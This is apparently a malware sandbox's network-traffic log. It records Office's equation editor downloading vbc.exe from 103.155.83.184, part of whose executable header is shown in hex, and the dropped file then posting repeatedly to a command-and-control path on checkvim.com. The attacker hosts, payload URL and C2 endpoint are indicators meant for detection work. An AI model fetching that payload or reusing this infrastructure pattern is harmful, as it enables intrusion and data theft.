Sep 28, 2021 06:51:10.613387108 CEST	8.8.8.8	192.168.2.22	0xb4f5	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:11.259166002 CEST	8.8.8.8	192.168.2.22	0x8c7b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:11.848179102 CEST	8.8.8.8	192.168.2.22	0xab7b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:12.473819017 CEST	8.8.8.8	192.168.2.22	0x7ce5	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:13.111699104 CEST	8.8.8.8	192.168.2.22	0x7348	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:13.746982098 CEST	8.8.8.8	192.168.2.22	0xba52	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:14.354599953 CEST	8.8.8.8	192.168.2.22	0x23e2	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:14.985114098 CEST	8.8.8.8	192.168.2.22	0x4ed0	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:15.652194977 CEST	8.8.8.8	192.168.2.22	0xd6d7	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:16.271156073 CEST	8.8.8.8	192.168.2.22	0x76b5	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:16.878494978 CEST	8.8.8.8	192.168.2.22	0x4a4d	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:17.515573025 CEST	8.8.8.8	192.168.2.22	0x65ee	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:18.112341881 CEST	8.8.8.8	192.168.2.22	0x718b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:18.758816957 CEST	8.8.8.8	192.168.2.22	0x83b4	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:19.371682882 CEST	8.8.8.8	192.168.2.22	0x62c8	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:20.010968924 CEST	8.8.8.8	192.168.2.22	0xb755	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:20.662913084 CEST	8.8.8.8	192.168.2.22	0xdbbb	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:21.281076908 CEST	8.8.8.8	192.168.2.22	0x2fbe	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:21.908377886 CEST	8.8.8.8	192.168.2.22	0xccbe	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:22.536520004 CEST	8.8.8.8	192.168.2.22	0x113e	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:23.187026024 CEST	8.8.8.8	192.168.2.22	0xe199	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:23.800335884 CEST	8.8.8.8	192.168.2.22	0x3f8	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:24.439459085 CEST	8.8.8.8	192.168.2.22	0x4107	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:25.053002119 CEST	8.8.8.8	192.168.2.22	0x74ac	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:25.677412033 CEST	8.8.8.8	192.168.2.22	0xe2b	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:26.308763981 CEST	8.8.8.8	192.168.2.22	0xa16a	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:26.982305050 CEST	8.8.8.8	192.168.2.22	0x9490	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:27.600348949 CEST	8.8.8.8	192.168.2.22	0xc414	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:28.193268061 CEST	8.8.8.8	192.168.2.22	0x7ac6	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:28.808218002 CEST	8.8.8.8	192.168.2.22	0x132c	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:29.410531044 CEST	8.8.8.8	192.168.2.22	0x4a40	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:30.026681900 CEST	8.8.8.8	192.168.2.22	0xce0a	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:30.642488003 CEST	8.8.8.8	192.168.2.22	0x26a4	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:31.277529955 CEST	8.8.8.8	192.168.2.22	0xfbb5	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:31.911752939 CEST	8.8.8.8	192.168.2.22	0xfb02	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:32.569732904 CEST	8.8.8.8	192.168.2.22	0x7463	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:33.175820112 CEST	8.8.8.8	192.168.2.22	0x214e	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:33.823859930 CEST	8.8.8.8	192.168.2.22	0x4df1	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:34.446486950 CEST	8.8.8.8	192.168.2.22	0xdb50	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:35.073288918 CEST	8.8.8.8	192.168.2.22	0x2a25	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:35.688777924 CEST	8.8.8.8	192.168.2.22	0x64fe	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:36.340655088 CEST	8.8.8.8	192.168.2.22	0x785	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:36.977107048 CEST	8.8.8.8	192.168.2.22	0xbf3c	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:37.583689928 CEST	8.8.8.8	192.168.2.22	0x3eea	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:38.227706909 CEST	8.8.8.8	192.168.2.22	0xfb53	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:38.848547935 CEST	8.8.8.8	192.168.2.22	0xeff0	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:39.471940994 CEST	8.8.8.8	192.168.2.22	0x2267	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:40.437524080 CEST	8.8.8.8	192.168.2.22	0x97df	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:41.041893959 CEST	8.8.8.8	192.168.2.22	0x7445	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:41.645601034 CEST	8.8.8.8	192.168.2.22	0x83b1	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:42.304616928 CEST	8.8.8.8	192.168.2.22	0x1e7f	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:42.928423882 CEST	8.8.8.8	192.168.2.22	0x8815	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:43.525496006 CEST	8.8.8.8	192.168.2.22	0xe640	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:44.146752119 CEST	8.8.8.8	192.168.2.22	0x2d16	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:44.785208941 CEST	8.8.8.8	192.168.2.22	0x716f	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:45.422796011 CEST	8.8.8.8	192.168.2.22	0xc08	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:46.027328968 CEST	8.8.8.8	192.168.2.22	0x6cea	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:46.652699947 CEST	8.8.8.8	192.168.2.22	0x30ea	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:47.281250000 CEST	8.8.8.8	192.168.2.22	0x1d51	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:47.912065029 CEST	8.8.8.8	192.168.2.22	0x6008	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:48.542418957 CEST	8.8.8.8	192.168.2.22	0xd582	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:49.182720900 CEST	8.8.8.8	192.168.2.22	0xb3ea	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:49.812793970 CEST	8.8.8.8	192.168.2.22	0xbbd0	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:50.428427935 CEST	8.8.8.8	192.168.2.22	0x21ce	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:51.094007015 CEST	8.8.8.8	192.168.2.22	0x5fe2	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:51.785337925 CEST	8.8.8.8	192.168.2.22	0xcfa8	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:52.404402971 CEST	8.8.8.8	192.168.2.22	0x46c7	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:53.032078981 CEST	8.8.8.8	192.168.2.22	0xc0b8	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:53.652053118 CEST	8.8.8.8	192.168.2.22	0x8d66	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:54.266855001 CEST	8.8.8.8	192.168.2.22	0xa872	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:54.898588896 CEST	8.8.8.8	192.168.2.22	0xaaac	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:55.501737118 CEST	8.8.8.8	192.168.2.22	0xff5e	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:56.284024954 CEST	8.8.8.8	192.168.2.22	0x37ed	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:56.897857904 CEST	8.8.8.8	192.168.2.22	0xff2f	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:57.662775040 CEST	8.8.8.8	192.168.2.22	0xd3e9	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:58.280199051 CEST	8.8.8.8	192.168.2.22	0x75c9	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:58.900548935 CEST	8.8.8.8	192.168.2.22	0x7d4a	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:51:59.543994904 CEST	8.8.8.8	192.168.2.22	0xae13	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:00.146327972 CEST	8.8.8.8	192.168.2.22	0xc359	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:00.787919998 CEST	8.8.8.8	192.168.2.22	0x13b0	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:01.479352951 CEST	8.8.8.8	192.168.2.22	0xc0fe	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:02.105777979 CEST	8.8.8.8	192.168.2.22	0x3493	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:02.789148092 CEST	8.8.8.8	192.168.2.22	0x4ff9	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:03.457667112 CEST	8.8.8.8	192.168.2.22	0x3405	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)
Sep 28, 2021 06:52:04.060210943 CEST	8.8.8.8	192.168.2.22	0x9b70	No error (0)	checkvim.com	5.188.89.50	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

103.155.83.184

checkvim.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	103.155.83.184	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:21.338944912 CEST	0	OUT	GET /wdc/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 103.155.83.184 Connection: Keep-Alive
Sep 28, 2021 06:50:21.629554033 CEST	1	IN	HTTP/1.1 200 OK Date: Tue, 28 Sep 2021 04:50:21 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/8.0.10 Last-Modified: Mon, 27 Sep 2021 22:15:04 GMT ETag: "33600-5cd016dd19714" Accept-Ranges: bytes Content-Length: 210432 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 48 ba 15 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6c 01 00 00 14 0a 00 00 00 00 00 18 1b 00 00 00 10 00 00 00 80 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 0b 00 00 04 00 00 6d 6b 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 b1 01 00 4f 00 00 00 2c a9 01 00 3c 00 00 00 00 20 0a 00 b8 75 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 81 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 94 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 01 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 6a 01 00 00 10 00 00 00 6c 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ef 31 00 00 00 80 01 00 00 32 00 00 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 55 08 00 00 c0 01 00 00 1e 00 00 00 a2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 75 01 00 00 20 0a 00 00 76 01 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELH`l@mkO,< u@\|.text jl `.rdata12p@@.data\|U@.rsrcu v@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:29.583741903 CEST	220	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 176 Connection: close
Sep 28, 2021 06:50:29.928668976 CEST	220	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:41 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 15 Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49175	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:38.967765093 CEST	232	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:39.323179007 CEST	233	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:50 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.22	49265	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.22	49266	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.22	49267	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.22	49268	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.22	49269	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.22	49270	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.22	49271	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.22	49272	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.22	49273	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.22	49274	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49176	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:39.638770103 CEST	234	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:40.025614023 CEST	234	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:51 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.22	49275	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.22	49276	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.22	49277	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.22	49278	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.22	49279	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.22	49280	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.22	49281	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.22	49282	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.22	49283	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.22	49284	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49177	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:40.313215971 CEST	235	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:40.677572966 CEST	236	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:52 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.22	49285	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.22	49286	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.22	49287	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.22	49288	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.22	49289	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.22	49290	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.22	49291	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.22	49292	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.22	49293	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.22	49294	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49178	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:40.962631941 CEST	237	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:41.324284077 CEST	237	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:52 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.22	49295	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.22	49296	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
